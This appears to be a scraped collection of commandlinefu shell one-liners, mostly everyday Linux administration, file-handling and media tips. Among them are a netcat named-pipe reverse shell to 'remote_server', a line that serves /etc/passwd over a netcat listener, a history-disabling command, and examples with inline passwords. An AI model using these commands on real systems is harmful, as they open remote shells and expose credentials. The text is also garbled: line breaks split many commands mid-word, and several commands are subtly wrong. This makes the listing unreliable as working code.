# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5

# "Clone" a list of installed packages from one Debian/Ubuntu Server to another
apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{pri
nt $2}'`

```

```

# Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\1\2/g' file.txt

# bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l;
do echo "$l"; sleep 0.01; done; done

# Find recursively, from current directory down, files and directories whose nam
es contain single or multiple whitespaces and replace each such occurrence with
a single underscore.
find ./ -name '*' -exec rename 's/\s+/_/g' {} \;

# Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`

# runs a X session within your X session
ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'

# Nice info browser
pinfo

# Count files beneath current directory (including subfolders)
find . -type f | wc -l

# hard disk information - Model/serial no.
hdparm -i[I] /dev/sda

# Fetch every font from dafont.com to current folder
d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|s
ed -n 's/.*ge=\([0-9]\{2\}\).*\/\1/p`';for((p=1;p<=1;p++));do for u in `curl -s "
${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";d
one;done;done

# Delete DOS Characters via VIM (^M)
:set ff=unix

# Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8
080

# Tail -f at your own pace
tail -fs 1 somefile

# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm

# display an embeded help message from bash script header
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:\/,\/^$/ s/^# \?\/p' < $0; exit; }

# pretend to be busy in office to enjoy a cup of coffee
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done

# Capitalize first letter of each word in a string
read -ra words <<< "<sentence>" && echo "${words[@]^}"

# Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))

# cycle through a 256 colour palette

```

```

yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done

# extract email addresses from some file (or any other pattern)
grep -Eio '([[:alnum:]]_[-]+@[[:alnum:]]_[-]+?\.[[:alpha:]]{2,6})'

# Rename HTML files according to their title tag
perl -wlne '/title>([^\<]+)/i&&rename$ARGV,"$1.html"' *.html

# Launch a command from a manpage
!date

# command line calculator
calc(){ awk "BEGIN{ print \$* }" ;}

# Plays Music from SomaFM
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls

# Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp

# See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'

# Create a 5 MB blank file via a seek hole
dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1

# Command Line to Get the Stock Quote via Yahoo
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csc&f=l1'

# Delete all files found in directory A from directory B
for file in <directory A>/*; do rm <directory B>/`basename $file`; done

# Compare a remote file with a local file
vimdiff <file> scp://[<user>@]<host>/<file>

# Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100

# Insert the last argument of the previous command
!$

# convert a web page into a png
touch $2;firefox -print $1 -printmode PNG -printfile $2

# create a temporary file in a command line call
any_script.sh < <(some command)

# Binary clock
perl -e 'for(;;){@d=split(" ",`date +%H%M%S`);print"\r";for(0..5){printf"% .4b ",$d[$_]}sleep 1}'

# Outgoing IP of server
dig +short @resolver1.opendns.com myip.opendns.com

# Send email with curl and gmail
curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt "<user@server.tld>"

```

```
" --url smtps://smtp.gmail.com:465 -T file.txt

# Create several copies of a file
for i in {1..5}; do cp test{,$i};done

# Terrorist threat level text
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"

# Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com

# Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@ex
ample.com

# Extended man command
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*" \&btnI | less

# back ssh from firewalled hosts
ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip

# add the result of a command into vi
!!command

# is today the end of the month?
[ `date --date='next day' +%B` == `date +%B` ] || echo 'end of month'

# Copy with progress
rsync --progress file1 file2

# Grep without having it show its own process in the results
ps aux | grep "[s]ome_text"

# Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"

# Better way to use notify-send with at or cron
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test

# Display last exit status of a command
echo $?

# Create a Multi-Part Archive Without Proprietary Junkware
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.

# print file without duplicated lines using awk
awk '!a[$0]++' file

# execute a shell with netcat without -e
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe

# bash shortcut: !$ !^ !* !:3 !:h and !:t
echo foo bar foobar barfoo && echo !$ !^ !* !:3 !* && echo /usr/bin/foobar&& echo
!$:h !$:t

# generate random password
pwgen -Bs 10 1

# Quick HTML image gallery from folder contents
```

```

find . -iname '*.jpg' -exec echo '' \; > gallery.html

# move a lot of files over ssh
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xzf -'

# Download schedule
echo 'wget url' | at 12:00

# Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888

# pretend to be busy in office to enjoy a cup of coffee
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; don
e | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;
d" /usr/share/dict/words`" 6 40;done

# [re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5

# alt + 1 .
alt + 1 .

# Save the Top 2500 commands from commandlinefu to a single text file

# grep tab chars
grep "^V<TAB>" your_file

# List bash functions defined in .bash_profile or .bashrc
compgen -A function

# Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done

# kill process by name
pkill -x firefox

# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key
s"

# Down for everyone or just me?
down4me() { wget -qO- "http://www.downforeveryoneorjustme.com/$1" | sed '/just
you;!d;s/<[^>]*>//g' ; }

# Google Translate
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis
.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" |
sed 's/.*"translatedText": "\([^"]*\)" .*' /\1\n/'; }

# Convert the contents of a directory listing into a colon-separated environment
variable
find . -name '*.jar' -printf '%f:'

# Backup files older than 1 day on /home/dir, gzip them, moving old file to a da
ted file.
find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`
.gz \;

# Tells which group you DON'T belong to (opposite of command "groups") --- uses

```

```

sed
sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'

# Get video information with ffmpeg
ffmpeg -i filename.flv

# Download file with multiple simultaneous connections
aria2c -s 4 http://my/url

# List your largest installed packages.
wajig large

# Escape potential tarbombs
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;}

# How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt

# Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~ /share -z -g 1280x900 -0 $@ &

# send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done

# Follow tail by name (fix for rolling logs with tail -f)
tail -F file

# Change process affinity.
taskset -cp <core> <pid>

# Split File in parts
split -b 19m file Nameforpart

# Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done

# Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF

# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)

# Use Kernighan & Ritchie coding style in C program
indent -kr hello.c

# Re-read partition table on specified device without rebooting system (here /dev/sda).
blockdev --rereadpt /dev/sda

# disable history for current shell session
unset HISTFILE

# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format)
VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw

```



```

# Numeric zero padding file rename
rename 's/\d+/sprintf("%04d", $&)/e' *.jpg

# Measures download speed on eth0
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }
'|cut -d : -f 2); echo "$(( Y-X )) bps"; done

# Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi

# Wrap text files on the command-line for easy reading
fold -s <filename>

# Find distro name and/or version/release
cat /etc/*-release

# ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))"
ssh

# all out
pkill -KILL -u username

# bash screensaver off
setterm -powersave off -blank 0

# Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)

# An easter egg built into python to give you the Zen of Python
python -c 'import this'

# Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(
curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &

# exclude a column with awk
awk '{ $5=""; print }' file

# Convert text to lowercase
lower() { echo ${@,,}; }

# Generate a Random MAC address
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'

# Find the process you are looking for minus the grepped one
pgrep command_name

# Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (
s) " MB -- "$9 | "sort -rn" }'

# Create an animated gif from a Youtube video
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls
${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif
-vf scale=400:300 -nosound

# Create a new file

```

```

> file

# Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -
onroot -fill stdin

# Screensaver
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM
%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'

# When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'

# Generate MD5 hash for a string
md5sum <<<"test"

# Multiple variable assignments from command output in BASH
read day month year <<(date +%d %m %y')

# Show which programs are listening on TCP and UDP ports
netstat -plunt

# use screen as a terminal emulator to connect to serial consoles
screen /dev/tty<device> 9600

# rename files according to file with columns of corresponding names
xargs -n 2 mv < file_with_columns_of_names

# Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'

# uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.* / s/^#// ' $FILE

# vim easter egg
$ vim ... :help 42

# Isolate file name from full path/find output
echo ${fullpath##*/}

# Countdown Clock
MIN=1 && for i in $(seq $((MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; ec
ho -e "\n\nBOOOM! Time to start."

# Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"

# Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -
I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done

# Bash logger
script /tmp/log.txt

# Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *

# Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/

```

```
# copy with progress bar - rsync
rsync -rv <src> <dst> --progress

# List your MACs address
cat /sys/class/net/eth0/address

# List and delete files older than one year
find <directory path> -mtime +365 -and -not -type d -delete

# comment current line(put # at the beginning)
<Alt-Shift-#>

# Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full

# Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head

# Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -

# List only the directories
find . -maxdepth 1 -type d | sort

# JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | les
s -R

# lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)

# To get you started!
vimtutor

# mp3 streaming
nc -l -p 2000 < song.mp3

# alias to close terminal with :q
alias ':q'='exit'

# Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do      mysqldump $I
> "$I.sql"; done

# Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg

# Print a row of 50 hyphens
python -c 'print "-"*50'

# New files from parts of current buffer
:n,m w newfile.txt

# awk using multiple field separators
awk -F "="

# Password Generation
pwgen --alt-phonics --capitalize 9 10
```

```
# Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP

# scp file from hostb to hostc while logged into hosta
scp user@hostb:file user@hostc:

# Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile

# loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done

# Quickly find a count of how many times invalid users have attempted to access your system
gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less

# Find corrupted jpeg image files
find . -name "*.jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"

# Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/", "/g; s/^\t//; s/$//; s/\n//g' > outfile.csv

# Create/open/use encrypted directory
encfs ~/.crypt ~/crypt

# Function to split a string into an array
read -a ARR <<<'world domination now!'; echo ${ARR[2]};

# IFS - use entire lines in your for cycles
export IFS=$(echo -e "\n")

# log a command to console and to 2 files separately stdout and stderr
command >>(tee stdout.log) 2>>(tee stderr.log >&2)

# Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg

# save date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "

# output length of longest line
awk '(length > n) {n = length} END {print n}'

# run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &

# Salvage a borked terminal
<ctrl+j>stty sane<ctrl+j>

# Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf

# Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo
```

```

# connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:c
f:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`

# intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^|" | cut -c11-60 | sed -e
's/ //g' | xxd -r -p

# Smart `cd`.. cd to the file directory if you try to cd to a file
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(d
irname "$1"); else command cd "$1"; fi; fi; }

# Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.tx
t

# Display GCC Predefined Macros
gcc -dM -E - < /dev/null

# Run a command when a file is changed
while inotifywait -e modify /tmp/myfile; do firefox; done

# Adding leading zeros to a filename (1.jpg -> 001.jpg)
zmv '(<1->).jpg' '${(1:3::0:1)}.jpg'

# Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/. *Current IP Address: \([0-9\.]*)\
*/\1/g'

# Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friend
s_timeline.rss|grep title|sed -ne 's/<\/*title>/gp' | head -n 6 |festival --tts
; sleep 300;done

# Grep Recursively Through Single File Extension
grep --include=*.py -lir "delete" .

# backup with mysqldump a really big mysql database to a remote machine over ssh
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassw
ord dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'

# Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z

# Backup (archive) your Gmail IMAP folders.
mailutil transfer {imap.gmail.com/ssl/user=john@gmail.com} Gmail/

# Determine what an process is actually doing
sudo strace -pXXXX -e trace=file

# Easily scp a file back to the host you're connecting from
mecn () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }

# Make vim open in tabs by default (save to .profile)
alias vim="vim -p"

# LDAP search to query an ActiveDirectory server
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com'
-D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'

```

```
# let a cow tell you your fortune
fortune | cowsay

# Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done

# Setting global redirection of STDERR to STDOUT in a script
exec 2>&1

# Stripping ^M at end of each line for files
dos2unix <filenames>

# Smart renaming
mv 'banana_*_*.asc' 'banana_#2_#1.asc'

# external projector for presentations
xrandr --auto

# seq can produce the same thing as Perl's ... operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done

# FAST Search and Replace for Strings in all Files in Directory
sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -ml
"$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'

# Save your terminal commands in bash history in real time
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"

# Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"

# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
tcs -f 8859-1 -t utf /some/file

# view hex mode in vim
:%!xxd

# Delete backward from cursor, useful when you enter the wrong password
Ctrl + u

# Find out the starting directory of a script
echo "${0%/*}"

# count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l

# send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER

# fast access to any of your favorite directory.
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'

# connect via ssh using mac address
sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200

# Get the time from NIST.GOV
cat </dev/tcp/time.nist.gov/13
```

```
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" {} \;

# Figure out what shell you're running
readlink -f /proc/$$/exe

# Sort file greater than a specified size in human readable format including t
heir path and typed by color, running from current directory
find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color

# Execute a command, convert output to .png file, upload file to imgur.com, then
returning the address of the .png.
imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372
d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</orig
inal>" | grep -Eo "http://i.imgur.com/[^\<]*";}

# Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server

# Disable annoying sound emanations from the PC speaker
sudo rmmmod pcspkr

# Execute most recent command containing search string.
!<string>?

# silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent

# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i <filename>.flv -vn <filename>.mp3

# Clean swap area after using a memory hogging application
swapoff -a ; swapon -a

# Using bash inline "here document" with three less-than symbols on command line
<<<"k=1024; m=k*k; g=k*m; g" bc

# Check a nfs mountpoint and force a remount if it does not reply after a given
timeout.
NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NF
SPATH" || (umount -fl $NFSPATH; mount $NFSPATH)

# Show which process is blocking amount (Device or resource is busy)
lsof /folder

# Move items from subdirectories to current directory
find -type f -exec mv {} . \;

# currently mounted filesystems in nice layout
column -t /proc/mounts

# cat a file backwards
tac file.txt

# Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .

# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.
export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands
```

```

/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if
( /^(w+\\(\\))/ )' *|sort -u);do grep -h -ml -B1 $i *; done)|grep -v '^--' > clf.
sh;rm -r $QQ

# Copy file content to X clipboard
:%y *

# back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->command
linefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz

# make a log of a terminal session
script

# Get your outgoing IP address
curl -s ip.appspot.com

# Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT
--to-ports 22

# Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup

# easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do
if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size
=$((size/1024)); done; done

# Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com

# List only directory names
ls -d */

# Monitor a file's size
watch -n60 du /var/log/messages

# Get notified when a job you run in a terminal is done, using NotifyOSD
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png
"[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\''"'

# Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq

# printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr

# securely erase unused blocks in a partition
# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredU
nusedBlocks

# synchronicity
cal 09 1752

# watch process stack, sampled at 1s intervals
watch -n 1 'pstack 12345 | tac'

# Perl Command Line Interpreter

```



```
perl -e 'while(1){print"> ";eval<>}'

# Remove lines that contain a specific pattern($1) from file($2).
sed -i '/myexpression/d' /path/to/file.txt

# resize all JPG images in folder and create new images (w/o overwriting)
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file";
done

# Display a wave pattern
ruby -e "i=0;loop{puts ' *(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"

# Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf

# Delay execution until load average falls under 1.5
echo 'some command' | batch

# Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy

# Go (cd) directly into a new temp folder
cd "$(mktemp -d)"

# Use wget to download one page and all it's requisites for offline viewing
wget -e robots=off -E -H -k -K -p http://<page>

# Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1

# See The MAN page for the last command
man !!:0

# Search command history on bash
ctrl + r

# find builtin in bash v4+
ls -l /etc/**/*killall

# Copy a folder tree through ssh using compression (no temporary files)
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz

# Edit video by cutting the part you like without transcoding.
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <
invid> -o <outvid>

# Set an alarm to wake up [2]
echo "aplay path/to/song" |at [time]

# Check disk for bad sectors
badblocks -n -s /dev/sdX

# Make redirects to localhost via /etc/hosts more interesting
sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service U
navailable";'

# Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 755 {} +
```

```
# Create cheap and easy index.html file
for i in *; do echo "<li><a href='$i'>$i</a>"; done > index.html

# One command line web server on port 80 using nc (netcat)
while true ; do nc -l 80 < index.html ; done

# Emptying a text file in one shot
:%d

# Extend a logical volume to use up all the free space in a volume group
lvextend -l +100%FREE /dev/VolGroup00/LogVol100

# Re-use the previous command output
newcommand $(!!)

# List complete size of directories (do not consider hidden directories)
du -hs */

# Connect via SSH to VirtualBox guest VM without knowing IP address
ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'`

# Open the last file you edited in Vim.
alias lvim="vim -c \"normal '0\""

# Search back through previous commands
Ctrl-R <search-text>

# Remove everything except that file
find . ! -name <FILENAME> -delete

# print indepth hardware info
sudo dmidecode | more

# Add forgotten changes to the last git commit
git commit --amend

# Join lines split with backslash at the end
sed -e '/\\$/{:0;N;s/\\n//;t0}'

# Change your swappiness Ratio under linux
sysctl vm.swappiness=50

# Show webcam output
mplayer tv:// -tv driver=v4l:width=352:height=288

# Get your commandlinefu points (upvotes - downvotes)
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ', "votes": "[0-9\-\-]+", "' | grep -Eo '[0-9\-\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc

# List your installed Firefox extensions
grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '""' | cut -f3 -d'"' | sort -u

# Tricky implementation of two-dimensional array in Bash.
arr[i*100+j]="whatever"

# Quick way to sum every numbers in a file written line by line
```

```

(sed 's/^/x+='/ [yourfile] ; echo x) | bc

# put all lines in comment where de word DEBUG is found
sed -i 's/^.*DEBUG.*/#&/' $file

# Gets the english pronunciation of a phrase
say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }

# Extract a bash function
sed -n '/^function h\(\)\/,/^}/p' script.sh

# Change the From: address on the fly for email sent from the command-line
mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.
com -F 'From Display Name'

# Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"

# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,2}([;[0-9]{1,2})?)?[m|K]//g"

# exit if another instance is running
pidof -x -o $$ ${0##*/} && exit

# Determine what version of bind is running on a dns server.
dig -t txt -c chaos VERSION.BIND @<dns.server.com>

# Get the size of all the directories in current directory (Sorted Human Readabl
e)
sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null

# permanently let grep colorize its output
echo alias grep='grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc

# backs up at the date today
cp -i FILENAME{,.`date +%Y%m%d`}

# how many packages installed on your archlinux?
pacman -Q|wc -l

# Create a mirror of a local folder, on a remote server
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root
/files/ user@remote_server:/root/files/

# Find Malware in the current and sub directories by MD5 hashes
IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r
's/^[^ ]+/Checking:/' ; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; don
e

# The NMAP command you can use scan for the Conficker virus on your LAN
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.1
68.0.1-254

# mirrors directory to a ftp server
lftp -ulogin,password -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.ser
ver.xx

# burn an ISO image to writable CD
wodim cdimage.iso

```

```

# Connect to SMTP server using STARTTLS
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25

# Check RAM size
free -mto

# Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
getent [group|hosts|networks|passwd|protocols|services] [keyword]

# Convert mysql database from latin1 to utf8
mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET
=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"

# Mount a Windows share on the local network (Ubuntu) with user rights and use a
specific samba user
sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /m
nt

# Quick network status of machine
netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn

# cpu stress test
taskset 0x00000001 yes > /dev/null &

# network throughput test
iperf -s

# Shows size of dirs and files, hidden or not, sorted.
du -cs * .[^\.]* | sort -n

# Copy a directory recursively without data/files
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' \;

# Most Commonly Used Grep Options
GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case'

# output length of longest line
wc -L

# clean up memory on linux
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

# du disk top 10
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do siz
e=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2
